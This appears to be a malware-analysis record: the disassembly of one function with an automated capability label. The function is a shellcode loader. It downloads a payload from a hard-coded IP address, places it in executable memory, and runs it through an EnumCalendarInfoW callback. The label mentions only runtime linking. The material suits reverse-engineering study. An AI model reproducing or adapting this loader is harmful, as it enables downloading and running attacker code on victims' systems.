Function at 0x140001140
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0xb8
mov rax, qword [0x14006e068]
xor rax, rsp
mov qword [rsp + 0xa8], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x38], rax
lea rdx, str.VirtualAlloc
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
lea rdx, str.VirtualFree
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x88], rax
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x1400011bd
xor eax, eax
jmp 0x1400013ec
lea rdx, [0x14006c060]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x90], rax
lea rdx, [0x14006c940]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x98], rax
lea rdx, str.InternetOpenA
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
lea rdx, str.InternetOpenUrlA
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
lea rdx, str.InternetReadFile
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x68], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.A_WinINet_Example_1.0
call qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140001284
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14006d260]
call fcn.140001410
xor eax, eax
jmp 0x1400013ec
mov dword [rsp + 0x28], 0
mov eax, 0x80000000
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__154.198.50.18_dcdcdcdc
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x78]
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14006d3c0]
call fcn.140001410
cmp qword [rsp + 0x48], 0
jne 0x1400012e8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetOpenUrl_failed:__d_n
call fcn.140001410
xor eax, eax
jmp 0x1400013ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14006d520]
call fcn.140001410
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x895440
xor ecx, ecx
call qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14006d660]
call fcn.140001410
lea r9, [rsp + 0xa0]
mov r8d, 0x895440
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x48]
call qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14006d7a0]
call fcn.140001410
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x895440
xor ecx, ecx
call qword [rsp + 0x50]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14006d8e0]
call fcn.140001410
mov eax, dword [rsp + 0xa0]
mov r8d, eax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.140001490
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14006da20]
call fcn.140001410
mov r9d, 0x15
mov r8d, 0xffffffff
mov edx, 0x400
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14006db60]
call fcn.140001410
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.1400015b0
add rsp, 0xb8
ret